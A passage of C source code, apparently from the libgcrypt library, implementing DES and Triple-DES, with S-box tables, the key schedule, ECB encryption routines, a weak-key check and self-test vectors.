byte *, int); static int is_weak_key ( const byte *key ); static const char *selftest (void); static int initialized; /* * The s-box values are permuted according to the 'primitive function P' * and are rotated one bit to the left. */ static u32 sbox1[64] = { 0x01010400, 0x00000000, 0x00010000, 0x01010404, 0x01010004, 0x00010404, 0x00000004, 0x00010000, 0x00000400, 0x01010400, 0x01010404, 0x00000400, 0x01000404, 0x01010004, 0x01000000, 0x00000004, 0x00000404, 0x01000400, 0x01000400, 0x00010400, 0x00010400, 0x01010000, 0x01010000, 0x01000404, 0x00010004, 0x01000004, 0x01000004, 0x00010004, 0x00000000, 0x00000404, 0x00010404, 0x01000000, 0x00010000, 0x01010404, 0x00000004, 0x01010000, 0x01010400, 0x01000000, 0x01000000, 0x00000400, 0x01010004, 0x00010000, 0x00010400, 0x01000004, 0x00000400, 0x00000004, 0x01000404, 0x00010404, 0x01010404, 0x00010004, 0x01010000, 0x01000404, 0x01000004, 0x00000404, 0x00010404, 0x01010400, 0x00000404, 0x01000400, 0x01000400, 0x00000000, 0x00010004, 0x00010400, 0x00000000, 0x01010004 }; static u32 sbox2[64] = { 0x80108020, 0x80008000, 0x00008000, 0x00108020, 0x00100000, 0x00000020, 0x80100020, 0x80008020, 0x80000020, 0x80108020, 0x80108000, 0x80000000, 0x80008000, 0x00100000, 0x00000020, 0x80100020, 0x00108000, 0x00100020, 0x80008020, 0x00000000, 0x80000000, 0x00008000, 0x00108020, 0x80100000, 0x00100020, 0x80000020, 0x00000000, 0x00108000, 0x00008020, 0x80108000, 0x80100000, 0x00008020, 0x00000000, 0x00108020, 0x80100020, 0x00100000, 0x80008020, 0x80100000, 0x80108000, 0x00008000, 0x80100000, 0x80008000, 0x00000020, 0x80108020, 0x00108020, 0x00000020, 0x00008000, 0x80000000, 0x00008020, 0x80108000, 0x00100000, 0x80000020, 0x00100020, 0x80008020, 0x80000020, 0x00100020, 0x00108000, 0x00000000, 0x80008000, 0x00008020, 0x80000000, 0x80100020, 0x80108020, 0x00108000 }; static u32 sbox3[64] = { 0x00000208, 0x08020200, 0x00000000, 0x08020008, 0x08000200, 0x00000000, 0x00020208, 0x08000200, 0x00020008, 0x08000008, 0x08000008, 0x00020000, 0x08020208, 0x00020008, 0x08020000, 0x00000208, 0x08000000, 0x00000008, 0x08020200, 0x00000200, 0x00020200, 0x08020000, 0x08020008, 0x00020208, 0x08000208, 0x00020200, 0x00020000, 0x08000208, 0x00000008, 0x08020208, 0x00000200, 0x08000000, 0x08020200, 0x08000000, 0x00020008, 0x00000208, 0x00020000, 0x08020200, 0x08000200, 0x00000000, 0x00000200, 0x00020008, 0x08020208, 0x08000200, 0x08000008, 0x00000200, 0x00000000, 0x08020008, 0x08000208, 0x00020000, 0x08000000, 0x08020208, 0x00000008, 0x00020208, 0x00020200, 0x08000008, 0x08020000, 0x08000208, 0x00000208, 0x08020000, 0x00020208, 0x00000008, 0x08020008, 0x00020200 }; static u32 sbox4[64] = { 0x00802001, 0x00002081, 0x00002081, 0x00000080, 0x00802080, 0x00800081, 0x00800001, 0x00002001, 0x00000000, 0x00802000, 0x00802000, 0x00802081, 0x00000081, 0x00000000, 0x00800080, 0x00800001, 0x00000001, 0x00002000, 0x00800000, 0x00802001, 0x00000080, 0x00800000, 0x00002001, 0x00002080, 0x00800081, 0x00000001, 0x00002080, 0x00800080, 0x00002000, 0x00802080, 0x00802081, 0x00000081, 0x00800080, 0x00800001, 0x00802000, 0x00802081, 0x00000081, 0x00000000, 0x00000000, 0x00802000, 0x00002080, 0x00800080, 0x00800081, 0x00000001, 0x00802001, 0x00002081, 0x00002081, 0x00000080, 0x00802081, 0x00000081, 0x00000001, 0x00002000, 0x00800001, 0x00002001, 0x00802080, 0x00800081, 0x00002001, 0x00002080, 0x00800000, 0x00802001, 0x00000080, 0x00800000, 0x00002000, 0x00802080 }; static u32 sbox5[64] = { 0x00000100, 0x02080100, 0x02080000, 0x42000100, 0x00080000, 0x00000100, 0x40000000, 0x02080000, 0x40080100, 0x00080000, 0x02000100, 0x40080100, 0x42000100, 0x42080000, 0x00080100, 0x40000000, 0x02000000, 0x40080000, 0x40080000, 0x00000000, 0x40000100, 0x42080100, 0x42080100, 0x02000100, 0x42080000, 0x40000100, 0x00000000, 0x42000000, 0x02080100, 0x02000000, 0x42000000, 0x00080100, 0x00080000, 0x42000100, 0x00000100, 0x02000000, 0x40000000, 0x02080000, 0x42000100, 0x40080100, 0x02000100, 0x40000000, 0x42080000, 0x02080100, 0x40080100, 0x00000100, 0x02000000, 0x42080000, 0x42080100, 0x00080100, 0x42000000, 0x42080100, 0x02080000, 0x00000000, 0x40080000, 0x42000000, 0x00080100, 0x02000100, 0x40000100, 0x00080000, 0x00000000, 0x40080000, 0x02080100, 0x40000100 }; static u32 sbox6[64] = { 0x20000010, 0x20400000, 0x00004000, 0x20404010, 0x20400000, 0x00000010, 0x20404010, 0x00400000, 0x20004000, 0x00404010, 0x00400000, 0x20000010, 0x00400010, 0x20004000, 0x20000000, 0x00004010, 0x00000000, 0x00400010, 0x20004010, 0x00004000, 0x00404000, 0x20004010, 0x00000010, 0x20400010, 0x20400010, 0x00000000, 0x00404010, 0x20404000, 0x00004010, 0x00404000, 0x20404000, 0x20000000, 0x20004000, 0x00000010, 0x20400010, 0x00404000, 0x20404010, 0x00400000, 0x00004010, 0x20000010, 0x00400000, 0x20004000, 0x20000000, 0x00004010, 0x20000010, 0x20404010, 0x00404000, 0x20400000, 0x00404010, 0x20404000, 0x00000000, 0x20400010, 0x00000010, 0x00004000, 0x20400000, 0x00404010, 0x00004000, 0x00400010, 0x20004010, 0x00000000, 0x20404000, 0x20000000, 0x00400010, 0x20004010 }; static u32 sbox7[64] = { 0x00200000, 0x04200002, 0x04000802, 0x00000000, 0x00000800, 0x04000802, 0x00200802, 0x04200800, 0x04200802, 0x00200000, 0x00000000, 0x04000002, 0x00000002, 0x04000000, 0x04200002, 0x00000802, 0x04000800, 0x00200802, 0x00200002, 0x04000800, 0x04000002, 0x04200000, 0x04200800, 0x00200002, 0x04200000, 0x00000800, 0x00000802, 0x04200802, 0x00200800, 0x00000002, 0x04000000, 0x00200800, 0x04000000, 0x00200800, 0x00200000, 0x04000802, 0x04000802, 0x04200002, 0x04200002, 0x00000002, 0x00200002, 0x04000000, 0x04000800, 0x00200000, 0x04200800, 0x00000802, 0x00200802, 0x04200800, 0x00000802, 0x04000002, 0x04200802, 0x04200000, 0x00200800, 0x00000000, 0x00000002, 0x04200802, 0x00000000, 0x00200802, 0x04200000, 0x00000800, 0x04000002, 0x04000800, 0x00000800, 0x00200002 }; static u32 sbox8[64] = { 0x10001040, 0x00001000, 0x00040000, 0x10041040, 0x10000000, 0x10001040, 0x00000040, 0x10000000, 0x00040040, 0x10040000, 0x10041040, 0x00041000, 0x10041000, 0x00041040, 0x00001000, 0x00000040, 0x10040000, 0x10000040, 0x10001000, 0x00001040, 0x00041000, 0x00040040, 0x10040040, 0x10041000, 0x00001040, 0x00000000, 0x00000000, 0x10040040, 0x10000040, 0x10001000, 0x00041040, 0x00040000, 0x00041040, 0x00040000, 0x10041000, 0x00001000, 0x00000040, 0x10040040, 0x00001000, 0x00041040, 0x10001000, 0x00000040, 0x10000040, 0x10040000, 0x10040040, 0x10000000, 0x00040000, 0x10001040, 0x00000000, 0x10041040, 0x00040040, 0x10000040, 0x10040000, 0x10001000, 0x10001040, 0x00000000, 0x10041040, 0x00041000, 0x00041000, 0x00001040, 0x00001040, 0x00040040, 0x10000000, 0x10041000 }; /* * These two tables are part of the 'permuted choice 1' function. * In this implementation several speed improvements are done. */ static u32 leftkey_swap[16] = { 0x00000000, 0x00000001, 0x00000100, 0x00000101, 0x00010000, 0x00010001, 0x00010100, 0x00010101, 0x01000000, 0x01000001, 0x01000100, 0x01000101, 0x01010000, 0x01010001, 0x01010100, 0x01010101 }; static u32 rightkey_swap[16] = { 0x00000000, 0x01000000, 0x00010000, 0x01010000, 0x00000100, 0x01000100, 0x00010100, 0x01010100, 0x00000001, 0x01000001, 0x00010001, 0x01010001, 0x00000101, 0x01000101, 0x00010101, 0x01010101, }; /* * Numbers of left shifts per round for encryption subkeys. * To calculate the decryption subkeys we just reverse the * ordering of the calculated encryption subkeys. So their * is no need for a decryption rotate tab. */ static byte encrypt_rotate_tab[16] = { 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 }; /* * Table with weak DES keys sorted in ascending order. * In DES their are 64 known keys which are weak. They are weak * because they produce only one, two or four different * subkeys in the subkey scheduling process. * The keys in this table have all their parity bits cleared. */ static byte weak_keys[64][8] = { { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, /*w*/ { 0x00, 0x00, 0x1e, 0x1e, 0x00, 0x00, 0x0e, 0x0e }, { 0x00, 0x00, 0xe0, 0xe0, 0x00, 0x00, 0xf0, 0xf0 }, { 0x00, 0x00, 0xfe, 0xfe, 0x00, 0x00, 0xfe, 0xfe }, { 0x00, 0x1e, 0x00, 0x1e, 0x00, 0x0e, 0x00, 0x0e }, /*sw*/ { 0x00, 0x1e, 0x1e, 0x00, 0x00, 0x0e, 0x0e, 0x00 }, { 0x00, 0x1e, 0xe0, 0xfe, 0x00, 0x0e, 0xf0, 0xfe }, { 0x00, 0x1e, 0xfe, 0xe0, 0x00, 0x0e, 0xfe, 0xf0 }, { 0x00, 0xe0, 0x00, 0xe0, 0x00, 0xf0, 0x00, 0xf0 }, /*sw*/ { 0x00, 0xe0, 0x1e, 0xfe, 0x00, 0xf0, 0x0e, 0xfe }, { 0x00, 0xe0, 0xe0, 0x00, 0x00, 0xf0, 0xf0, 0x00 }, { 0x00, 0xe0, 0xfe, 0x1e, 0x00, 0xf0, 0xfe, 0x0e }, { 0x00, 0xfe, 0x00, 0xfe, 0x00, 0xfe, 0x00, 0xfe }, /*sw*/ { 0x00, 0xfe, 0x1e, 0xe0, 0x00, 0xfe, 0x0e, 0xf0 }, { 0x00, 0xfe, 0xe0, 0x1e, 0x00, 0xfe, 0xf0, 0x0e }, { 0x00, 0xfe, 0xfe, 0x00, 0x00, 0xfe, 0xfe, 0x00 }, { 0x1e, 0x00, 0x00, 0x1e, 0x0e, 0x00, 0x00, 0x0e }, { 0x1e, 0x00, 0x1e, 0x00, 0x0e, 0x00, 0x0e, 0x00 }, /*sw*/ { 0x1e, 0x00, 0xe0, 0xfe, 0x0e, 0x00, 0xf0, 0xfe }, { 0x1e, 0x00, 0xfe, 0xe0, 0x0e, 0x00, 0xfe, 0xf0 }, { 0x1e, 0x1e, 0x00, 0x00, 0x0e, 0x0e, 0x00, 0x00 }, { 0x1e, 0x1e, 0x1e, 0x1e, 0x0e, 0x0e, 0x0e, 0x0e }, /*w*/ { 0x1e, 0x1e, 0xe0, 0xe0, 0x0e, 0x0e, 0xf0, 0xf0 }, { 0x1e, 0x1e, 0xfe, 0xfe, 0x0e, 0x0e, 0xfe, 0xfe }, { 0x1e, 0xe0, 0x00, 0xfe, 0x0e, 0xf0, 0x00, 0xfe }, { 0x1e, 0xe0, 0x1e, 0xe0, 0x0e, 0xf0, 0x0e, 0xf0 }, /*sw*/ { 0x1e, 0xe0, 0xe0, 0x1e, 0x0e, 0xf0, 0xf0, 0x0e }, { 0x1e, 0xe0, 0xfe, 0x00, 0x0e, 0xf0, 0xfe, 0x00 }, { 0x1e, 0xfe, 0x00, 0xe0, 0x0e, 0xfe, 0x00, 0xf0 }, { 0x1e, 0xfe, 0x1e, 0xfe, 0x0e, 0xfe, 0x0e, 0xfe }, /*sw*/ { 0x1e, 0xfe, 0xe0, 0x00, 0x0e, 0xfe, 0xf0, 0x00 }, { 0x1e, 0xfe, 0xfe, 0x1e, 0x0e, 0xfe, 0xfe, 0x0e }, { 0xe0, 0x00, 0x00, 0xe0, 0xf0, 0x00, 0x00, 0xf0 }, { 0xe0, 0x00, 0x1e, 0xfe, 0xf0, 0x00, 0x0e, 0xfe }, { 0xe0, 0x00, 0xe0, 0x00, 0xf0, 0x00, 0xf0, 0x00 }, /*sw*/ { 0xe0, 0x00, 0xfe, 0x1e, 0xf0, 0x00, 0xfe, 0x0e }, { 0xe0, 0x1e, 0x00, 0xfe, 0xf0, 0x0e, 0x00, 0xfe }, { 0xe0, 0x1e, 0x1e, 0xe0, 0xf0, 0x0e, 0x0e, 0xf0 }, { 0xe0, 0x1e, 0xe0, 0x1e, 0xf0, 0x0e, 0xf0, 0x0e }, /*sw*/ { 0xe0, 0x1e, 0xfe, 0x00, 0xf0, 0x0e, 0xfe, 0x00 }, { 0xe0, 0xe0, 0x00, 0x00, 0xf0, 0xf0, 0x00, 0x00 }, { 0xe0, 0xe0, 0x1e, 0x1e, 0xf0, 0xf0, 0x0e, 0x0e }, { 0xe0, 0xe0, 0xe0, 0xe0, 0xf0, 0xf0, 0xf0, 0xf0 }, /*w*/ { 0xe0, 0xe0, 0xfe, 0xfe, 0xf0, 0xf0, 0xfe, 0xfe }, { 0xe0, 0xfe, 0x00, 0x1e, 0xf0, 0xfe, 0x00, 0x0e }, { 0xe0, 0xfe, 0x1e, 0x00, 0xf0, 0xfe, 0x0e, 0x00 }, { 0xe0, 0xfe, 0xe0, 0xfe, 0xf0, 0xfe, 0xf0, 0xfe }, /*sw*/ { 0xe0, 0xfe, 0xfe, 0xe0, 0xf0, 0xfe, 0xfe, 0xf0 }, { 0xfe, 0x00, 0x00, 0xfe, 0xfe, 0x00, 0x00, 0xfe }, { 0xfe, 0x00, 0x1e, 0xe0, 0xfe, 0x00, 0x0e, 0xf0 }, { 0xfe, 0x00, 0xe0, 0x1e, 0xfe, 0x00, 0xf0, 0x0e }, { 0xfe, 0x00, 0xfe, 0x00, 0xfe, 0x00, 0xfe, 0x00 }, /*sw*/ { 0xfe, 0x1e, 0x00, 0xe0, 0xfe, 0x0e, 0x00, 0xf0 }, { 0xfe, 0x1e, 0x1e, 0xfe, 0xfe, 0x0e, 0x0e, 0xfe }, { 0xfe, 0x1e, 0xe0, 0x00, 0xfe, 0x0e, 0xf0, 0x00 }, { 0xfe, 0x1e, 0xfe, 0x1e, 0xfe, 0x0e, 0xfe, 0x0e }, /*sw*/ { 0xfe, 0xe0, 0x00, 0x1e, 0xfe, 0xf0, 0x00, 0x0e }, { 0xfe, 0xe0, 0x1e, 0x00, 0xfe, 0xf0, 0x0e, 0x00 }, { 0xfe, 0xe0, 0xe0, 0xfe, 0xfe, 0xf0, 0xf0, 0xfe }, { 0xfe, 0xe0, 0xfe, 0xe0, 0xfe, 0xf0, 0xfe, 0xf0 }, /*sw*/ { 0xfe, 0xfe, 0x00, 0x00, 0xfe, 0xfe, 0x00, 0x00 }, { 0xfe, 0xfe, 0x1e, 0x1e, 0xfe, 0xfe, 0x0e, 0x0e }, { 0xfe, 0xfe, 0xe0, 0xe0, 0xfe, 0xfe, 0xf0, 0xf0 }, { 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe } /*w*/ }; static unsigned char weak_keys_chksum[20] = { 0xD0, 0xCF, 0x07, 0x38, 0x93, 0x70, 0x8A, 0x83, 0x7D, 0xD7, 0x8A, 0x36, 0x65, 0x29, 0x6C, 0x1F, 0x7C, 0x3F, 0xD3, 0x41 }; /* * Macro to swap bits across two words. */ #define DO_PERMUTATION(a, temp, b, offset, mask) \ temp = ((a>>offset) ^ b) & mask; \ b ^= temp; \ a ^= temp<<offset; /* * This performs the 'initial permutation' of the data to be encrypted * or decrypted. Additionally the resulting two words are rotated one bit * to the left. */ #define INITIAL_PERMUTATION(left, temp, right) \ DO_PERMUTATION(left, temp, right, 4, 0x0f0f0f0f) \ DO_PERMUTATION(left, temp, right, 16, 0x0000ffff) \ DO_PERMUTATION(right, temp, left, 2, 0x33333333) \ DO_PERMUTATION(right, temp, left, 8, 0x00ff00ff) \ right = (right << 1) | (right >> 31); \ temp = (left ^ right) & 0xaaaaaaaa; \ right ^= temp; \ left ^= temp; \ left = (left << 1) | (left >> 31); /* * The 'inverse initial permutation'. */ #define FINAL_PERMUTATION(left, temp, right) \ left = (left << 31) | (left >> 1); \ temp = (left ^ right) & 0xaaaaaaaa; \ left ^= temp; \ right ^= temp; \ right = (right << 31) | (right >> 1); \ DO_PERMUTATION(right, temp, left, 8, 0x00ff00ff) \ DO_PERMUTATION(right, temp, left, 2, 0x33333333) \ DO_PERMUTATION(left, temp, right, 16, 0x0000ffff) \ DO_PERMUTATION(left, temp, right, 4, 0x0f0f0f0f) /* * A full DES round including 'expansion function', 'sbox substitution' * and 'primitive function P' but without swapping the left and right word. * Please note: The data in 'from' and 'to' is already rotated one bit to * the left, done in the initial permutation. */ #define DES_ROUND(from, to, work, subkey) \ work = from ^ *subkey++; \ to ^= sbox8[ work & 0x3f ]; \ to ^= sbox6[ (work>>8) & 0x3f ]; \ to ^= sbox4[ (work>>16) & 0x3f ]; \ to ^= sbox2[ (work>>24) & 0x3f ]; \ work = ((from << 28) | (from >> 4)) ^ *subkey++; \ to ^= sbox7[ work & 0x3f ]; \ to ^= sbox5[ (work>>8) & 0x3f ]; \ to ^= sbox3[ (work>>16) & 0x3f ]; \ to ^= sbox1[ (work>>24) & 0x3f ]; /* * Macros to convert 8 bytes from/to 32bit words. */ #define READ_64BIT_DATA(data, left, right) \ left = (data[0] << 24) | (data[1] << 16) | (data[2] << 8) | data[3]; \ right = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7]; #define WRITE_64BIT_DATA(data, left, right) \ data[0] = (left >> 24) &0xff; data[1] = (left >> 16) &0xff; \ data[2] = (left >> 8) &0xff; data[3] = left &0xff; \ data[4] = (right >> 24) &0xff; data[5] = (right >> 16) &0xff; \ data[6] = (right >> 8) &0xff; data[7] = right &0xff; /* * Handy macros for encryption and decryption of data */ #define des_ecb_encrypt(ctx, from, to) des_ecb_crypt(ctx, from, to, 0) #define des_ecb_decrypt(ctx, from, to) des_ecb_crypt(ctx, from, to, 1) #define tripledes_ecb_encrypt(ctx, from, to) tripledes_ecb_crypt(ctx,from,to,0) #define tripledes_ecb_decrypt(ctx, from, to) tripledes_ecb_crypt(ctx,from,to,1) /* * des_key_schedule(): Calculate 16 subkeys pairs (even/odd) for * 16 encryption rounds. * To calculate subkeys for decryption the caller * have to reorder the generated subkeys. * * rawkey: 8 Bytes of key data * subkey: Array of at least 32 u32s. Will be filled * with calculated subkeys. * */ static void des_key_schedule (const byte * rawkey, u32 * subkey) { u32 left, right, work; int round; READ_64BIT_DATA (rawkey, left, right) DO_PERMUTATION (right, work, left, 4, 0x0f0f0f0f) DO_PERMUTATION (right, work, left, 0, 0x10101010) left = ((leftkey_swap[(left >> 0) & 0xf] << 3) | (leftkey_swap[(left >> 8) & 0xf] << 2) | (leftkey_swap[(left >> 16) & 0xf] << 1) | (leftkey_swap[(left >> 24) & 0xf]) | (leftkey_swap[(left >> 5) & 0xf] << 7) | (leftkey_swap[(left >> 13) & 0xf] << 6) | (leftkey_swap[(left >> 21) & 0xf] << 5) | (leftkey_swap[(left >> 29) & 0xf] << 4)); left &= 0x0fffffff; right = ((rightkey_swap[(right >> 1) & 0xf] << 3) | (rightkey_swap[(right >> 9) & 0xf] << 2) | (rightkey_swap[(right >> 17) & 0xf] << 1) | (rightkey_swap[(right >> 25) & 0xf]) | (rightkey_swap[(right >> 4) & 0xf] << 7) | (rightkey_swap[(right >> 12) & 0xf] << 6) | (rightkey_swap[(right >> 20) & 0xf] << 5) | (rightkey_swap[(right >> 28) & 0xf] << 4)); right &= 0x0fffffff; for (round = 0; round < 16; ++round) { left = ((left << encrypt_rotate_tab[round]) | (left >> (28 - encrypt_rotate_tab[round]))) & 0x0fffffff; right = ((right << encrypt_rotate_tab[round]) | (right >> (28 - encrypt_rotate_tab[round]))) & 0x0fffffff; *subkey++ = (((left << 4) & 0x24000000) | ((left << 28) & 0x10000000) | ((left << 14) & 0x08000000) | ((left << 18) & 0x02080000) | ((left << 6) & 0x01000000) | ((left << 9) & 0x00200000) | ((left >> 1) & 0x00100000) | ((left << 10) & 0x00040000) | ((left << 2) & 0x00020000) | ((left >> 10) & 0x00010000) | ((right >> 13) & 0x00002000) | ((right >> 4) & 0x00001000) | ((right << 6) & 0x00000800) | ((right >> 1) & 0x00000400) | ((right >> 14) & 0x00000200) | (right & 0x00000100) | ((right >> 5) & 0x00000020) | ((right >> 10) & 0x00000010) | ((right >> 3) & 0x00000008) | ((right >> 18) & 0x00000004) | ((right >> 26) & 0x00000002) | ((right >> 24) & 0x00000001)); *subkey++ = (((left << 15) & 0x20000000) | ((left << 17) & 0x10000000) | ((left << 10) & 0x08000000) | ((left << 22) & 0x04000000) | ((left >> 2) & 0x02000000) | ((left << 1) & 0x01000000) | ((left << 16) & 0x00200000) | ((left << 11) & 0x00100000) | ((left << 3) & 0x00080000) | ((left >> 6) & 0x00040000) | ((left << 15) & 0x00020000) | ((left >> 4) & 0x00010000) | ((right >> 2) & 0x00002000) | ((right << 8) & 0x00001000) | ((right >> 14) & 0x00000808) | ((right >> 9) & 0x00000400) | ((right) & 0x00000200) | ((right << 7) & 0x00000100) | ((right >> 7) & 0x00000020) | ((right >> 3) & 0x00000011) | ((right << 2) & 0x00000004) | ((right >> 21) & 0x00000002)); } } /* * Fill a DES context with subkeys calculated from a 64bit key. * Does not check parity bits, but simply ignore them. * Does not check for weak keys. */ static int des_setkey (struct _des_ctx *ctx, const byte * key) { static const char *selftest_failed; int i; if (!fips_mode () && !initialized) { initialized = 1; selftest_failed = selftest (); if (selftest_failed) log_error ("%s\n", selftest_failed); } if (selftest_failed) return GPG_ERR_SELFTEST_FAILED; des_key_schedule (key, ctx->encrypt_subkeys); _gcry_burn_stack (32); for(i=0; i<32; i+=2) { ctx->decrypt_subkeys[i] = ctx->encrypt_subkeys[30-i]; ctx->decrypt_subkeys[i+1] = ctx->encrypt_subkeys[31-i]; } return 0; } /* * Electronic Codebook Mode DES encryption/decryption of data according * to 'mode'. */ static int des_ecb_crypt (struct _des_ctx *ctx, const byte * from, byte * to, int mode) { u32 left, right, work; u32 *keys; keys = mode ? ctx->decrypt_subkeys : ctx->encrypt_subkeys; READ_64BIT_DATA (from, left, right) INITIAL_PERMUTATION (left, work, right) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) FINAL_PERMUTATION (right, work, left) WRITE_64BIT_DATA (to, right, left) return 0; } /* * Fill a Triple-DES context with subkeys calculated from two 64bit keys. * Does not check the parity bits of the keys, but simply ignore them. * Does not check for weak keys. */ static int tripledes_set2keys (struct _tripledes_ctx *ctx, const byte * key1, const byte * key2) { int i; des_key_schedule (key1, ctx->encrypt_subkeys); des_key_schedule (key2, &(ctx->decrypt_subkeys[32])); _gcry_burn_stack (32); for(i=0; i<32; i+=2) { ctx->decrypt_subkeys[i] = ctx->encrypt_subkeys[30-i]; ctx->decrypt_subkeys[i+1] = ctx->encrypt_subkeys[31-i]; ctx->encrypt_subkeys[i+32] = ctx->decrypt_subkeys[62-i]; ctx->encrypt_subkeys[i+33] = ctx->decrypt_subkeys[63-i]; ctx->encrypt_subkeys[i+64] = ctx->encrypt_subkeys[i]; ctx->encrypt_subkeys[i+65] = ctx->encrypt_subkeys[i+1]; ctx->decrypt_subkeys[i+64] = ctx->decrypt_subkeys[i]; ctx->decrypt_subkeys[i+65] = ctx->decrypt_subkeys[i+1]; } return 0; } /* * Fill a Triple-DES context with subkeys calculated from three 64bit keys. * Does not check the parity bits of the keys, but simply ignore them. * Does not check for weak keys. */ static int tripledes_set3keys (struct _tripledes_ctx *ctx, const byte * key1, const byte * key2, const byte * key3) { static const char *selftest_failed; int i; if (!fips_mode () && !initialized) { initialized = 1; selftest_failed = selftest (); if (selftest_failed) log_error ("%s\n", selftest_failed); } if (selftest_failed) return GPG_ERR_SELFTEST_FAILED; des_key_schedule (key1, ctx->encrypt_subkeys); des_key_schedule (key2, &(ctx->decrypt_subkeys[32])); des_key_schedule (key3, &(ctx->encrypt_subkeys[64])); _gcry_burn_stack (32); for(i=0; i<32; i+=2) { ctx->decrypt_subkeys[i] = ctx->encrypt_subkeys[94-i]; ctx->decrypt_subkeys[i+1] = ctx->encrypt_subkeys[95-i]; ctx->encrypt_subkeys[i+32] = ctx->decrypt_subkeys[62-i]; ctx->encrypt_subkeys[i+33] = ctx->decrypt_subkeys[63-i]; ctx->decrypt_subkeys[i+64] = ctx->encrypt_subkeys[30-i]; ctx->decrypt_subkeys[i+65] = ctx->encrypt_subkeys[31-i]; } return 0; } /* * Electronic Codebook Mode Triple-DES encryption/decryption of data * according to 'mode'. Sometimes this mode is named 'EDE' mode * (Encryption-Decryption-Encryption). */ static int tripledes_ecb_crypt (struct _tripledes_ctx *ctx, const byte * from, byte * to, int mode) { u32 left, right, work; u32 *keys; keys = mode ? ctx->decrypt_subkeys : ctx->encrypt_subkeys; READ_64BIT_DATA (from, left, right) INITIAL_PERMUTATION (left, work, right) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) DES_ROUND (right, left, work, keys) DES_ROUND (left, right, work, keys) FINAL_PERMUTATION (right, work, left) WRITE_64BIT_DATA (to, right, left) return 0; } /* * Check whether the 8 byte key is weak. * Does not check the parity bits of the key but simple ignore them. */ static int is_weak_key ( const byte *key ) { byte work[8]; int i, left, right, middle, cmp_result; /* clear parity bits */ for(i=0; i<8; ++i) work[i] = key[i] & 0xfe; /* binary search in the weak key table */ left = 0; right = 63; while(left <= right) { middle = (left + right) / 2; if ( !(cmp_result=working_memcmp(work, weak_keys[middle], 8)) ) return -1; if ( cmp_result > 0 ) left = middle + 1; else right = middle - 1; } return 0; } /* * Performs a selftest of this DES/Triple-DES implementation. * Returns an string with the error text on failure. * Returns NULL if all is ok. */ static const char * selftest (void) { /* * Check if 'u32' is really 32 bits wide. This DES / 3DES implementation * need this. */ if (sizeof (u32) != 4) return "Wrong word size for DES configured."; /* * DES Maintenance Test */ { int i; byte key[8] = {0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55}; byte input[8] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; byte result[8] = {0x24, 0x6e, 0x9d, 0xb9, 0xc5, 0x50, 0x38, 0x1a}; byte temp1[8], temp2[8], temp3[8]; des_ctx des; for (i = 0; i < 64; ++i) { des_setkey (des, key); des_ecb_encrypt (des, input, temp1); des_ecb_encrypt (des, temp1, temp2); des_setkey (des, temp2); des_ecb_decrypt (des, temp1, temp3); memcpy (key, temp3, 8); memcpy (input, temp1, 8); } if (memcmp (temp3, result, 8)) return "DES maintenance test failed."; } /* * Self made Triple-DES test (Does somebody know an official test?) */ { int i; byte input[8] = {0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10}; byte key1[8] = {0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0}; byte key2[8] = {0x11, 0x22, 0x33, 0x44, 0xff, 0xaa, 0xcc, 0xdd}; byte result[8] = {0x7b, 0x38, 0x3b, 0x23, 0xa2, 0x7d, 0x26, 0xd3}; tripledes_ctx des3; for (i = 0; i < 16; ++i) { tripledes_set2keys (des3, key1, key2); tripledes_ecb_encrypt (des3, input, key1); tripledes_ecb_decrypt (des3, input, key2); tripledes_set3keys (des3, key1, input, key2); tripledes_ecb_encrypt (des3, input, input); } if (memcmp (input, result, 8)) return "Triple-DES test failed."; } /* * More Triple-DES test. These are testvectors as used by SSLeay, * thanks to Jeroen C. van Gelderen. */ { struct { byte key[24]; byte plain[8]; byte cipher[8]; } testdata[] = { { { 0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01, 0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01, 0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01 }, { 0x95,0xF8,0xA5,0xE5,0xDD,0x31,0xD9,0x00 